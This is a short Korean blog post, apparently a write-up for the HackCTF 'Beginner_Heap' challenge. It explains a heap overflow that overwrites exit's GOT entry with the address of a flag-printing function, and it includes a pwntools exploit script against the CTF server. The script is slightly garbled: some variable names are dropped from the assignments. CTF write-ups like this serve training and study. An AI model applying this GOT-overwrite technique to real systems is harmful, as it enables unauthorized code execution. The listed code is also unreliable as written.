HACKCTF - Beginner_Heap

2020. 7. 28. 16:37CTF's Write-up

문제 화면

 

어제 st4nw에게 heap명강의를 듣고 힙에 대해 알게 되었다.

어제 알려준게 1% 라고 하던데 엄청난 공부량으로 노력해야겠다.

본론으로 들어가면 heap overflow 문제이다.

 

heap구조

 

0x1309000이 첫번재

0x1309020이 두번재

0x1309030이 세번째

0x1309050이 네번째인데

 

세번째의 뒷부분을 0x0000000000601068 <-- exit.got으로 덮어주고

 

그 다음에 ida 에서

 

ida main

 

이 부분에서 입력받을때 exit.got 을 cat flag함수로 덮을 수 있어서 취약점이다.

 

익스 코드는 아래와 같다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3016)
#r = process("./beginner_heap")
= ELF("./beginner_heap")
context.log_level = "debug"
 
readflag_add = 0x400826
exit_got = e.got['exit']
 
sleep(1)
pay = ""
pay += "A"*40
pay += p64(exit_got)
r.sendline(pay)
sleep(0.1)
 
pay2 = ""
pay2 += p64(readflag_add)
r.sendline(pay2)
 
r.interactive()
 
cs

 

실행하면 아래와 같다.

 

 

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - 나는 해귀다  (0) 2020.07.29
DreamHack - image-storage  (0) 2020.07.28
HACKCTF - 달라란 침공  (0) 2020.07.28
DreamHack - rev-basic-1  (0) 2020.07.27
DreamHack - xss-1  (0) 2020.07.27